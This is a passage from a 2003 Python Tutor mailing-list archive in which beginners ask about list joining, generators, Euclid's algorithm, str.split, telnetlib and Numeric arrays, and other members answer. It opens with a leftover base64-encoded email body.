ZS5nLg0KPiANCj4gIiIiDQo+ICAgaHR0cDovL3NvdXJjZWZvcmdlLm5ldC9wcm9qZWN0L3Nob3dm
aWxlcy5waHA/Z3JvdXBfaWQ9NDY3NDcNCj4gDQo+IA0KPiBUaGUgQ0pLQ29kZWNzIGlzIGEgdW5p
ZmllZCB1bmljb2RlIGNvZGVjIHNldCBmb3IgQ2hpbmVzZSwgSmFwYW5lc2UNCj4gYW5kIEtvcmVh
biBlbmNvZGluZ3MuIEl0IHN1cHBvcnRzIGZ1bGwgZmVhdHVyZXMgb2YgdW5pY29kZSBjb2RlYw0K
PiBzcGVjaWZpY2F0aW9uIGFuZCBQRVAyOTMgZXJyb3IgY2FsbGJhY2tzIG9uIFB5dGhvbiAyLjMu
DQo+IA0KPiBDdXJyZW50bHkgc3VwcG9ydGVkIGVuY29kaW5ncyBhbmQgcGxhbm5lZCB1cGRhdGVz
Og0KPiANCj4gQXV0aG9yaXR5ICAgICAgIDAuOSAgICAgICAgICAgICAxLjAgICAgICAgICAgICAg
MS4xICAgICAgICAgICAgIDEuMg0KPiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj4gQ2hpbmEgKFBS
QykgICAgIGdiMjMxMiAgICAgICAgICAgICAgICAgICAgICAgICAgaXNvLTIwMjItY24NCj4gICAg
ICAgICAgICAgICAgICBnYmsoY3A5MzYpICAgICAgICAgICAgICAgICAgICAgIGlzby0yMDIyLWNu
LWV4dA0KPiAgICAgICAgICAgICAgICAgIGdiMTgwMzANCj4gICAgICAgICAgICAgICAgICBoeg0K
PiANCj4gSG9uZyBLb25nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGhrc2NzDQo+IA0KPiBKYXBhbiAgICAgICAgICAgc2hpZnQtamlzICAgICAg
IGlzby0yMDIyLWpwLTIgICBldWMtamlzeDAyMTMgICAgaXNvLTIwMjItaW50LTENCj4gICAgICAg
ICAgICAgICAgICBldWMtanAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoaWZ0LWppc3gwMjEz
ICBtYWNfamFwYW5lc2UNCj4gICAgICAgICAgICAgICAgICBjcDkzMiAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGlzby0yMDIyLWpwLTMNCj4gICAgICAgICAgICAgICAgICBpc28tMjAyMi1qcA0K
PiAgICAgICAgICAgICAgICAgIGlzby0yMDIyLWpwLTENCj4gDQo+IEtvcmVhIChST0spICAgICBl
dWMta3IgICAgICAgICAgICAgICAgICAgICAgICAgIChrc3gxMDAxOjIwMDIpICBtYWNfa29yZWFu
DQo+ICAgICAgICAgICAgICAgICAgY3A5NDkodWhjKSAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgdW5pam9oYWINCj4gICAgICAgICAgICAgICAgICBqb2hhYg0KPiAgICAgICAg
ICAgICAgICAgIGlzby0yMDIyLWtyDQo+IA0KPiBLb3JlYSAoRFBSSykgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXVjLWtwDQo+IA0KPiBUYWl3YW4g
ICAgICAgICAgYmlnNSAgICAgICAgICAgICAgICAgICAgICAgICAgICBpc28tMjAyMi1jbg0KPiAg
ICAgICAgICAgICAgICAgIGNwOTUwICAgICAgICAgICAgICAgICAgICAgICAgICAgaXNvLTIwMjIt
Y24tZXh0DQo+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBldWMtdHcNCj4gDQo+IFVuaWNvZGUub3JnICAgICB1dGYtOCAgICAgICAgICAgdXRmLTcNCj4g
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXRmLTE2DQo+IA0KPiAiIiINCj4gDQo+
IC0tIA0KPiBNYXJjLUFuZHJlIExlbWJ1cmcNCj4gZUdlbml4LmNvbQ0KPiANCj4gUHJvZmVzc2lv
bmFsIFB5dGhvbiBTb2Z0d2FyZSBkaXJlY3RseSBmcm9tIHRoZSBTb3VyY2UgICgjMSwgSnVuIDI4
IDIwMDMpDQo+ICA+Pj4gUHl0aG9uL1pvcGUgUHJvZHVjdHMgJiBDb25zdWx0aW5nIC4uLiAgICAg
ICAgIGh0dHA6Ly93d3cuZWdlbml4LmNvbS8NCj4gID4+PiBteE9EQkMsIG14RGF0ZVRpbWUsIG14
VGV4dFRvb2xzIC4uLiAgICAgICAgaHR0cDovL3B5dGhvbi5lZ2VuaXguY29tLw0KPiBfX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX18NCj4gDQo+IA==





From abli@freemail.hu  Sat Jun 28 12:57:01 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sat Jun 28 11:57:01 2003
Subject: [Tutor] Re: Convert list to literal string.
In-Reply-To: <200306281007.06353.decibelshelp@charter.net>
References: <200306281007.06353.decibelshelp@charter.net>
Message-ID: <20030628155640.GA398@hooloovoo>

Decibels wrote:
> I can make a loop and process the info. But you can pass Yahoo
> an entire list of symbols and it will return the information.
> I can make this work:
> 
> def addstock_info(addstock):
>         stock = addstock
>         scount = len(stock)  
>         print "Getting Stockinfo data from Yahoo"
>         for x in range(0,scount):
>                 results=quotes.findQuotes(stock[x])
I think this would be better written as:

def addstock_info(addstock):
        print "Getting Stockinfo data from Yahoo"
        for i in addstock:
                results=quotes.findQuotes(i)
                # Of course, we are throwing away all but the last
                # result, but thats what the original code did, too

> 
> With that I can pass from the command-line for example:
> 
> --addstocks  IBM,EK,MO,UTX
> 
> and loop thru them.  
> 
> I was just thinking that I could do it without looping,
> since if you bypass the 'addstock' and do this:
> 
> def addstock_info(addstock):
>         stock = "IBM,EK,MO,UTX'  #ignoring string passed from command-line
>         print "Getting Stockinfo data from Yahoo"
>         results=quotes.findQuotes(stock)
> 

I think this is what you need:

>>> l=['IBM','EK','MO','UTX']
>>> l
['IBM', 'EK', 'MO', 'UTX']
>>> s=','.join(l)
>>> s
'IBM,EK,MO,UTX'
>>> 
and pass s to quotes.findQuotes

Abel Daniel


From idiot1@netzero.net  Sat Jun 28 18:36:51 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Sat Jun 28 17:36:51 2003
Subject: [Tutor] intresting spam idiots
Message-ID: <3EFE098B.8@netzero.net>

OK, this gets intresting.

I have an email service. Free email. You fill out a form it sends the information to you 
in a email, you click reply, it comes to another script, said script sends a confo 
letter, and the alias feeds the letter into an inbox for human creation of the account.

I get a lot of bounces from accounts that do not exist on other services. ???

Now track this carefully.
1. you fill out a form, and click submit.
2. the script creates letter and sends it.
3. you get it. You click reply, verify or correct it and click SEND.
4. It goes to an alias feeding another script, and a mailbox.
5. the script on that alias sends a acknowledgement message to the account
    the letter came from.
No applications coming to me. But bounces of acknowledgement letters going to accounts 
on other sites that do not exist. HUH?

ok, giving this considerable thought, we decided that someone was spamming the script's 
alias in a way that simply strobed the script, but no valid email was found, so nothing 
was fed to the mailbox intended to receive the application replies.  HOW? We still 
scratch our hides over that one.

We figured a way to stop this (changing aliases and script names), and the torrent of 
bounces has trickled down, down, down, as the bouncing mail in the world wide wow cleans 
itself out. We think someone out there even found a way to invoke a script without 
feeding it an email. Our solutions should defeat this, until they guess the correct 
script names. Then we change again.

The lengths some spamjerks will go to are simply amazing. As we actively persue 
spammers, one or more of them must have decided to jerk us around, to no profit, simply 
for spite's sake.

All our site's scripts live in the web cgi-bin. Of course, the http server can access 
and run them. But some of them are used only to process email. We are considering moving 
them into another directory altogether where the httpd (web server) cannot access them. 
This ought to close a window, and prevent future attacks.

Any of you using scripts to process email may care to see if one can access teh scripts 
through the webserver, and feed them data in ways not foreen; even if they do not 
inflict harm, a vindictive person could take up a great deal of time and bandwidth 
triggering scripts with an automatic program, and even possibly in time gain your site a 
reputation for spewing amazing amounts of garbage- and subsequent blacklisting.


You might like to consider if this

-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From decibelshelp@charter.net  Sat Jun 28 20:48:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Sat Jun 28 19:48:02 2003
Subject: [Tutor] Re: Convert list to literal string.
Message-ID: <200306281847.03737.decibelshelp@charter.net>

Got it thanks! See below.

> Abel Daniel
> >Decibels wrote:
> > I can make a loop and process the info. But you can pass Yahoo
> > an entire list of symbols and it will return the information.
> > I can make this work:
> >
> > def addstock_info(addstock):
> >         stock = addstock
> >         scount = len(stock)
> >         print "Getting Stockinfo data from Yahoo"
> >         for x in range(0,scount):
> >                 results=quotes.findQuotes(stock[x])
>
> I think this would be better written as:
>
> def addstock_info(addstock):
>         print "Getting Stockinfo data from Yahoo"
>         for i in addstock:
>                 results=quotes.findQuotes(i)
>                 # Of course, we are throwing away all but the last
>                 # result, but thats what the original code did, too

Yes, would be better. There is a another part below, so the 
results are processed to populate the database. So it isn't lost.
Was a sloppy in the code guess. Had a lot of print statements
and commented out tries to see why it wasn't working.  
If could make the command-line work the same as the literal string
then wouldn't need this loop.

> I think this is what you need:
> >>> l=['IBM','EK','MO','UTX']
> >>> l
>
> ['IBM', 'EK', 'MO', 'UTX']
>
> >>> s=','.join(l)
> >>> s
>
> 'IBM,EK,MO,UTX'
>
> and pass s to quotes.findQuotes

Hmmm, WOW. That works!!!!!
I am still not sure why?!? I never thought of using join, since already had ',' from the command-line.
So I used code you suggested above for user input of symbols wanting, then 

stock = ",".join(addstock)  #convert user input to literal string. (not sure if correct terminology, but does same thing.)

and processed it and populated the database.

Thank you,

Dave



From mwagman@charter.net  Sun Jun 29 09:43:01 2003
From: mwagman@charter.net (Mike Wagman)
Date: Sun Jun 29 08:43:01 2003
Subject: [Tutor] Array Help
Message-ID: <1056890928.2660.37.camel@dhcp-232-23>

Been working with python (as a hobbiest) for about three months, and
have run into something that I can't seem to figure out. I've read the
Numeric tutorials but I still can't figure out how to do the following
with an array.

I have two arrays of the same width but different lengths I want to
increase the size of the first array and copy the data from the second
into it.

I've been fighting with this but with no success. 

tempa,tempb=templist.shape
botlista,botlistb=botlist.shape
botlist=resize(botlist,(1,tempb+botlistb))
botlist[botlistb:tempb+botlistb-1]=templist

I keep getting arrays not aligned where I am just not getting it.

	Thanks
-- 
Mike Wagman <mwagman@charter.net>



From tim@johnsons-web.com  Sun Jun 29 18:25:30 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Sun Jun 29 17:25:30 2003
Subject: [Tutor] iteritems() for a list
Message-ID: <20030629212752.GQ32344@johnsons-web.com>

Hello All:
I use an object that has a list as a major component.

I would like to iterate through that list
2 items at a time like dict.iteritems().

I believe that python2+ provides for custom
iterators.
    
If I'm correct:
Could someone point me to some code examples
to help me get started on this?

Thanks!
regards
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From abli@freemail.hu  Sun Jun 29 19:59:02 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sun Jun 29 18:59:02 2003
Subject: [Tutor] iteritems() for a list
In-Reply-To: <20030629212752.GQ32344@johnsons-web.com>
References: <20030629212752.GQ32344@johnsons-web.com>
Message-ID: <20030629225812.GA20885@hooloovoo>

Tim Johnson wrote:
> Hello All:
> I use an object that has a list as a major component.
> 
> I would like to iterate through that list
> 2 items at a time like dict.iteritems().

You mean something like this? :

>>> l=range(5)
>>> l
[0, 1, 2, 3, 4]
>>> ll=zip(l, l[1:])
>>> ll
[(0, 1), (1, 2), (2, 3), (3, 4)]
>>> for i,j in ll:
...  print i,j
... 
0 1
1 2
2 3
3 4
>>> 

For large lists, this won't be really good, as we copy the list, so it
will use much more memory then really needed. (This won't be an issue
for short lists.)

> 
> I believe that python2+ provides for custom
> iterators.
>     
> If I'm correct:
> Could someone point me to some code examples
> to help me get started on this?
It's called generators, and it was introduced in 2.2 . As it uses a new
keyword, it isn't enabled by default in 2.2, only in 2.3. In 2.2 you
have to do
from __future__ import generators
before using one.

There is a short description about how they work and how to use them at:
http://www.python.org/doc/2.2.2/whatsnew/node5.html

The task you mentioned can be done with generators in a 'lazy way' so
that memory usage is kept to a minimum. As you asked for code examples,
and not finished code, I won't paste the solution here... :)
I think that link describes everything you need. If you have questions,
feel free to ask.

Abel Daniel


From tim@johnsons-web.com  Sun Jun 29 20:37:01 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Sun Jun 29 19:37:01 2003
Subject: [Tutor] iteritems() for a list
In-Reply-To: <20030629225812.GA20885@hooloovoo>
References: <20030629212752.GQ32344@johnsons-web.com> <20030629225812.GA20885@hooloovoo>
Message-ID: <20030629234059.GR32344@johnsons-web.com>

Thank you Abel:
* Abel Daniel <abli@freemail.hu> [030629 15:15]:
> Tim Johnson wrote:
> > Hello All:
> > I use an object that has a list as a major component.
> > 
> > I would like to iterate through that list
> > 2 items at a time like dict.iteritems().
> 
> You mean something like this? :

>>> def gen(N):
...     for i in range(0,N,2):
...             yield i,i + 1
...

and then I'll try
>>> def gen(L):
...     for i in range(0,len(L),2):
...             yield L[i],L[i + 1]

That will get me started. Thanks!
regards
~tj~

...
> 
> >>> l=range(5)
> >>> l
> [0, 1, 2, 3, 4]
> >>> ll=zip(l, l[1:])
> >>> ll
> [(0, 1), (1, 2), (2, 3), (3, 4)]
> >>> for i,j in ll:
> ...  print i,j
> ... 
> 0 1
> 1 2
> 2 3
> 3 4
> >>> 
> 
> For large lists, this won't be really good, as we copy the list, so it
> will use much more memory then really needed. (This won't be an issue
> for short lists.)
> 
> > 
> > I believe that python2+ provides for custom
> > iterators.
> >     
> > If I'm correct:
> > Could someone point me to some code examples
> > to help me get started on this?
> It's called generators, and it was introduced in 2.2 . As it uses a new
> keyword, it isn't enabled by default in 2.2, only in 2.3. In 2.2 you
> have to do
> from __future__ import generators
> before using one.
> 
> There is a short description about how they work and how to use them at:
> http://www.python.org/doc/2.2.2/whatsnew/node5.html
> 
> The task you mentioned can be done with generators in a 'lazy way' so
> that memory usage is kept to a minimum. As you asked for code examples,
> and not finished code, I won't paste the solution here... :)
> I think that link describes everything you need. If you have questions,
> feel free to ask.
> 
> Abel Daniel
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From abli@freemail.hu  Sun Jun 29 21:16:01 2003
From: abli@freemail.hu (Abel Daniel)
Date: Sun Jun 29 20:16:01 2003
Subject: [Tutor] iteritems() for a list
In-Reply-To: <20030629234059.GR32344@johnsons-web.com>
References: <20030629212752.GQ32344@johnsons-web.com> <20030629225812.GA20885@hooloovoo> <20030629234059.GR32344@johnsons-web.com>
Message-ID: <20030630001505.GA21569@hooloovoo>

Tim Johnson wrote:
> >>> def gen(N):
> ...     for i in range(0,N,2):
> ...             yield i,i + 1
> ...
> 
> and then I'll try
> >>> def gen(L):
> ...     for i in range(0,len(L),2):
> ...             yield L[i],L[i + 1]
> 
> That will get me started. Thanks!
> regards
I think if you use range just so that you can do a subscription with the
loop variable (as in "for i in range(<something>)" and using i only for
subscription in the loop body), you aren't using the full power of the
"for" loop.

Anyway, here is my solution:

def f(l):
    flag = False
    for i in l:
        if flag:
            yield j,i
            flag = not flag
        else: 
            j = i 
            flag = not flag

Which is better for two reasons:

- it doesn't die with an IndexError on sequences which have an odd
  lenght, for example:
  >>> for i in gen(range(5)):
  ...  print i
  ... 
  (0, 1)
  (2, 3)
  Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 3, in gen
  IndexError: list index out of range

- it doesn't depend on the sequence having a len, or being subscriptable.
  For example contrast:
  >>> for i in gen(gen(range(20))):
  ...  print i
  ... 
  Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in gen
  TypeError: len() of unsized object

  with:
  >>> for i in f(f(range(20))):
  ...  print i
  ... 
  ((0, 1), (2, 3))
  ((4, 5), (6, 7))
  ((8, 9), (10, 11))
  ((12, 13), (14, 15))
  ((16, 17), (18, 19))

Ok, enough nit-picking for today. :)
Have fun!

Abel Daniel
p.s.
Your e-mail address bounces with "Access denied"


From abrams_chris@hotmail.com  Sun Jun 29 21:18:05 2003
From: abrams_chris@hotmail.com (Chris Abrams)
Date: Sun Jun 29 20:18:05 2003
Subject: [Tutor] rlogin from the telnetlib.Telnet
Message-ID: <Law10-F28KULPEhGD1X00029f50@hotmail.com>

Hi everyone,

I am trying to use the telnetlib in python to automate running some scripts, 
but have run into a problem when I try to rlogin as follows:

tn = Telnet('999.99.99.999')
tn.read_until('login:')
tn.write('user1\n')
tn.read_until('Password:')
tn.write('password\n')
tn.read_until('user1$')
tn.write('rlogin otherserver\n')
...

For some reason it seems to ignore the rlogin command and continues to read 
and write to the original server I telnet'd into. When doing this from a 
telnet session in the windows cmd line, this rlogin works fine. I'm running 
windows 2000 and python 2.2. Are there any issues with rlogin from 
telnetlib? Is there another way to do this maybe an rlogin module? Thanks.

Chris

_________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From GREENDAY31087@aol.com  Mon Jun 30 02:15:02 2003
From: GREENDAY31087@aol.com (GREENDAY31087@aol.com)
Date: Mon Jun 30 01:15:02 2003
Subject: [Tutor] python exe files
Message-ID: <1e5.c4baacd.2c312131@aol.com>

--part1_1e5.c4baacd.2c312131_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

In a message dated 6/27/03 11:19:03 AM Pacific Daylight Time, 
jeff@ccvcorp.com writes:


> >pythonw.exe - what is this???
> >
> 
> This is a console-less version of the interpeter -- it's a Windows-style 
> app rather than a DOS-style app (as python.exe is).  This means that if, 
> for instance, your Python script has a GUI and opens its own windows, 
> etc, then you can run it in pythonw.exe and it won't have an ugly and 
> otherwise useless DOS box open as well.
> 
> 
I have a few GUIs. How would I run them with pythonw.exe?
-Wayne (win98)

--part1_1e5.c4baacd.2c312131_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">In a message dated 6/27/03 11:19:03 AM Pacific Dayligh=
t Time, jeff@ccvcorp.com writes:<BR>
<BR>
<BR>
<BLOCKQUOTE TYPE=3DCITE style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT=
: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">&gt;pythonw.exe - what is this?=
??<BR>
&gt;<BR>
<BR>
This is a console-less version of the interpeter -- it's a Windows-style <BR=
>
app rather than a DOS-style app (as python.exe is).&nbsp; This means that if=
, <BR>
for instance, your Python script has a GUI and opens its own windows, <BR>
etc, then you can run it in pythonw.exe and it won't have an ugly and <BR>
otherwise useless DOS box open as well.<BR>
<BR>
</BLOCKQUOTE><BR>
I have a few GUIs. How would I run them with pythonw.exe?<BR>
-Wayne (win98)</FONT></HTML>

--part1_1e5.c4baacd.2c312131_boundary--


From payal-python@staticky.com  Mon Jun 30 04:38:03 2003
From: payal-python@staticky.com (Payal Rathod)
Date: Mon Jun 30 03:38:03 2003
Subject: [Tutor] finding factorials
Message-ID: <20030630073129.GA1434@linux.local>

Hi,
I am very new to python and programming in general. I was reading a
tutorial "Programming in Python" in which the author has asked the
reader an problem which I am unable to get.

Problem is as follow,
Write  a function that implements Euclid's method for finding a common
   factor of two numbers. It works like this:
    1. You have two numbers, a and b, where a is larger than b
    2. You repeat the following until b becomes zero:
         1. a is changed to the value of b
         2. b  is  changed to the remainder when a (before the change) is
            divided by b (before the change)
    3. You then return the last value of a


My very basic solution is going totally wrong,

#!/usr/local/bin/python
def euclid(a,b):
        c = a
        a = b
        b = c % a
        if b != 0:
                euclid(a,b)
        return a
b = 5
euclid(10,5)
print a

It is giving errors. Can someone guide me to a proper solution?
Thanks a lot and hope this basic question is allowed.
Please make a CC to me also.

With warm regards,
-Payal


-- 
"Visit GNU/Linux Success Stories"
http://payal.staticky.com
Guest-Book Section Updated.


From krier115@student.liu.se  Mon Jun 30 06:15:02 2003
From: krier115@student.liu.se (Kristoffer Erlandsson)
Date: Mon Jun 30 05:15:02 2003
Subject: [Tutor] finding factorials
In-Reply-To: <20030630073129.GA1434@linux.local>
References: <20030630073129.GA1434@linux.local>
Message-ID: <20030630091436.GA5950@n14.ryd.student.liu.se>

On Mon, Jun 30, 2003 at 01:01:29PM +0530, Payal Rathod wrote:

[...]
> My very basic solution is going totally wrong,
> 
> #!/usr/local/bin/python
> def euclid(a,b):
>         c = a
>         a = b
>         b = c % a
>         if b != 0:
>                 euclid(a,b)
>         return a
> b = 5
> euclid(10,5)
> print a
> 
> It is giving errors. Can someone guide me to a proper solution?
> Thanks a lot and hope this basic question is allowed.

The method you are using now, when you are calling the function itself is
called recursion. I would not recommend using recursion yet in a while,
it can be pretty hard to grasp. Try solving this problem using some kind
of loop instead. A good start for making this loop for this problem would
be something like:

while b != 0:
...

This way you will perform things as long as b is not equal to 0. For
this very problem you will also have to consider the case where b is
larger than a (since the method defined only works for when a is larger
than b).

Also, adding print statements in your function to see what happens at
different stages is a good idea. For example you could print the
values of a and b before and after you change them. This usually is very
helpful when trying to grasp how things work.

The function you have allready made isn't very wrong, I'd say that you
are thinking in the right way, but falling on the mechanics of
recursion.

Hope this helps!

Regards,

-- 
Kristoffer Erlandsson
E-mail:  krier115@student.liu.se
ICQ#:    378225


From magnus@thinkware.se  Mon Jun 30 06:42:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun 30 05:42:02 2003
Subject: [Tutor] Job posting at LucasArts
In-Reply-To: <415C917D807AD411B72C00805FF7330B053F870C@MAILSRV>
Message-ID: <5.2.1.1.0.20030630094733.01f58578@www.thinkware.se>

At 17:50 2003-06-26 +0100, Shey Crompton wrote:
>There are a few games companies that have started using Python. Some use it
>for relatively small scripts, others are using it as a main part of the game
>engine.

George Lucas' special effects company, Industrial Light and Magic,
has used Python extensively since 1996 for animations etc.
See http://www.pythonology.org/success&story=ilm

Walt Disney Feature Animation uses it too. See
http://www.python9.org/p9-cdrom/04/index.htm

It's also used by a number of games companies. Some I know of are:

  * Totally Games uses Python in Star Trek Bridge Commander.

  * Asbahr.com has ported Python to PlayStation 2 and Nintendo
    GameCube, and use it for e.g. "Ultima Online 2" and "Beyond".

  * Humongous Entertainment uses Python for their new games, such
    as "Backyard Hockey", and they also wrote an open source remote
    debugger for Python.

  * Microforte uses Python in "Big World".

  * Butterfly.net uses Python for advanced interactions between players
    and non-player characters.

  * It's also used in "Freedom Force" from Irrational Games.
    See http://store.pyzine.com/article.phtml?a=7

I don't know who the producers are, but as far as I understand, Python
is also used in ToonTown, EveOnline, Blade of Darkness, Cars with guns
and Frequency (PS2).

Searching the net, you'll find things like:

"Electronic Arts (and its subsidiary Origin Systems) is looking to hire
talented Python programmers who are interested in working on massively
multiplayer online games." (From September 1999, probably hired someone
by now... ;)

"Hunting Tank Software is looking for an additional analyst / programmer to 
work
on our first title, a turn-based WWII Operational Level Wargame.

Candidates should have knowledge and experience with (in order of importance):
- Python
- XP (Unit Testing, Pair Programming)
- Object Oriented Design and Programming
- Patterns-based Programming

Familiarity with wargames of this genre would be useful.

The position will be Part or Full time (to be negotiated), and will involve
work in the Melbourne area (Brighton and CBD) and possibly some work from 
home."
(That was February this year...)

See also http://www.amazon.com/exec/obidos/ASIN/1584502584
"Sean Riley (Austin, TX) has been using python for almost three years and 
is currently
involved in two large-scale commercial game development projects using python."

See also http://www.python.org/cgi-bin/moinmoin/GameProgramming

Python is also used in tools that games developers might well use,
such as Blender, Poser, trueSpace, Real's Helix Network, PaintShop
Pro and Adobe's Photoshop, Illustrator and After Effects.

Knowing Python might be a good thing for someone who wants to get
involved in games development. But I still think C++ is the main
development language there...

See also http://pygame.org/


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From lonetwin@yahoo.com  Mon Jun 30 06:49:01 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Mon Jun 30 05:49:01 2003
Subject: [Tutor] finding factorials
In-Reply-To: <20030630073129.GA1434@linux.local>
References: <20030630073129.GA1434@linux.local>
Message-ID: <200306301533.03176.lonetwin@yahoo.com>

Hi Payal,

On Monday 30 Jun 2003 1:01 pm, Payal Rathod wrote:
> My very basic solution is going totally wrong,
>
> #!/usr/local/bin/python
> def euclid(a,b):
>         c = a
>         a = b
>         b = c % a
>         if b != 0:
>                 euclid(a,b)
>         return a
      This function looks ok. However, the three statements 
>         c = a
>         a = b
>         b = c % a
  could be shortened to 
a, b = b, a%b
   If you can't understand right away what the above statement does, don't 
worry about it. Maybe you could have a look at the python tutorial (Sec 3.2) 
sometime later to learn this neat trick.

> b = 5
       What does this line do ?? Yup, It defines 'b = 5', but since it is not  
part of the function 'euclid', this "b" is not the same as the "b" in the 
function. The "b" within the function is called a local variable. It is 
created when the function is invoked (like in your next statement) and 
disappears as soon as the function returns. Whereas, the "b" outside the 
function is know as a 'global' because it is visible throughout the file 
after it's definition and does not get deleted (unless explicitly passed to 
the del() builtin) till the program ends.

> euclid(10,5)

Here you could possibly have done
a = 10
b = 5
euclid(a, b)
    However, you should remember, the a and b here are globals and tho' they 
are visible throughout the file all through the execution of the program 
(like I mentioned above), the "local" a and b from the euclid definition will 
override these. However, coincidently, the local a and b will receive the 
values 10 and 5, because you passed those values in that order.

instead if you had said 
euclid (b, a)
within euclid (ie the local values of ..)
    a would be 5
and b would be 10

> print a

Since in your program you did not define an 'a' outside the function this 
statement will give you a "NameError" and I believe this is what you mean 
when you said:

> It is giving errors. 
    On this list you are encouraged to post your tracebacks/error messages, 
bcos these messages tell you (surprise, surprise !!) what the errors are. Run 
your program once again and try to read the error message reading one line at 
a time from bottom up.

> Can someone guide me to a proper solution?
Well, now you know the reason why your solution was failing, why don't you 
give it another shot ?? 

HTH
Peace
Steve

-- 
panic ("Splunge!");
	2.2.16 /usr/src/linux/drivers/scsi/psi240i.c


From python@kyle.sent.com  Mon Jun 30 09:16:03 2003
From: python@kyle.sent.com (Kyle Babich)
Date: Mon Jun 30 08:16:03 2003
Subject: [Tutor] Quick question about .split()
Message-ID: <20030630121535.524286E313@smtp.us2.messagingengine.com>

I haven't programmed in about six months and the way I remember it this
used to work:

abc = 'dog'
abc = abc.split('')
# now abc = ['d', 'o', 'g']

Except now when I do it this happens:

>>> abc = 'dog'
>>> abc = abc.split('')
Traceback (most recent call last):
  File "<pyshell#54>", line 1, in ?
    abc = abc.split('')
ValueError: empty separator
>>> 

Did they change this in one of the newer versions or am I remembering
wrong?  (just upgraded to 2.2.3)
What is a good work-around to this problem?

Thanks you,
--
Kyle


From payal-python@staticky.com  Mon Jun 30 11:26:03 2003
From: payal-python@staticky.com (Payal Rathod)
Date: Mon Jun 30 10:26:03 2003
Subject: [Tutor] finding factorials
In-Reply-To: <20030630091436.GA5950@n14.ryd.student.liu.se>
References: <20030630073129.GA1434@linux.local> <20030630091436.GA5950@n14.ryd.student.liu.se>
Message-ID: <20030630141707.GA1882@linux.local>

Hi,
Thanks for the mails,

On Mon, Jun 30, 2003 at 11:14:36AM +0200, Kristoffer Erlandsson wrote:

> The method you are using now, when you are calling the function itself is
> called recursion. I would not recommend using recursion yet in a while,

Ok.

> it can be pretty hard to grasp. Try solving this problem using some kind
> of loop instead. A good start for making this loop for this problem would
> be something like:
> 
> while b != 0:

I have done it now, though I don't know whether the result is right
or not cos' I left maths when I was 15 years old and haven't touched
it since.
I have given my solution below, but still I am not able to get this using
functions. Can anyone give more hints?
I have given both working and non-working solution below. Check the comments.



#!/usr/local/bin/python
# Non-Working Solution
def euclid(a,b):
        while b != 0:
                c = a
                a = b
                b = c % a
                print 'A = ', a
                print 'B = ', b
        return a

x = 100
y = 5

euclid(x, y)
# This should perfrom the calculations an assign the common factor as 5.
# But this is giving it as 100.


print x
print y



#!/usr/local/bin/python
# Working Solution
a = 99
b = 15
print 'Original A =', a
print 'Original B =', b
print

while b != 0:
        c = a
        a = b
        b = c % a
        print 'A = ', a
        print 'B = ', b
print a


Thanks a lot and bye.
With warm regards,
-Payal




-- 
"Visit GNU/Linux Success Stories"
http://payal.staticky.com
Guest-Book Section Updated.


From abli@freemail.hu  Mon Jun 30 11:33:02 2003
From: abli@freemail.hu (Abel Daniel)
Date: Mon Jun 30 10:33:02 2003
Subject: [Tutor] Quick question about .split()
In-Reply-To: <20030630121535.524286E313@smtp.us2.messagingengine.com>
References: <20030630121535.524286E313@smtp.us2.messagingengine.com>
Message-ID: <20030630143228.GA1275@hooloovoo>

see
http://groups.google.com/groups?threadm=a46heu%248f2%240%40216.39.172.122

What you need is
list(abc)

Abel Daniel


From reggie@merfinllc.com  Mon Jun 30 11:54:02 2003
From: reggie@merfinllc.com (Reggie Dugard)
Date: Mon Jun 30 10:54:02 2003
Subject: [Tutor] Array Help
In-Reply-To: <1056890928.2660.37.camel@dhcp-232-23>
References: <1056890928.2660.37.camel@dhcp-232-23>
Message-ID: <1056984793.20875.20.camel@pika>

Mike,

If I understand you correctly, you are trying to concatenate your two 2D
arrays. If that's the case you could try something like:

botlist = Numeric.concatenate((botlist, templist), axis=1)

This is assuming that the number of elements in the first dimensions of
the 2 arrays are equal (looking at your example it seems like this is
